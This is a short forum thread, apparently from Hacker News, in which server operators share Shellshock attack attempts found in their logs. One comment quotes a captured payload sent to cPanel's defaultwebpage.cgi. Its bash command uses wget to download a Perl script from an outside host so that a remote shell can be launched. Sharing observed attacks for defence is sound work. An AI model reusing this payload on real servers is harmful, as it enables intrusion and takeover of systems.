3 ms·
Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established: Req
by ktsmith 12y ago
Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established:
Request of file: /cgi-sys/defaultwebpage.cgi
With wget downloading a perl script to launch a shell:
() { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22
That site is still up and serving right now if anyone wants to take a look.
- jonknee 12y agoSame attack hit my server... They're looking for Cpanel sites (defaultwebpage.cgi). Here's a paste of the source in case it goes away: http://pastebin.com/UdJZqUyV http://pastebin.com/UdJZqUyV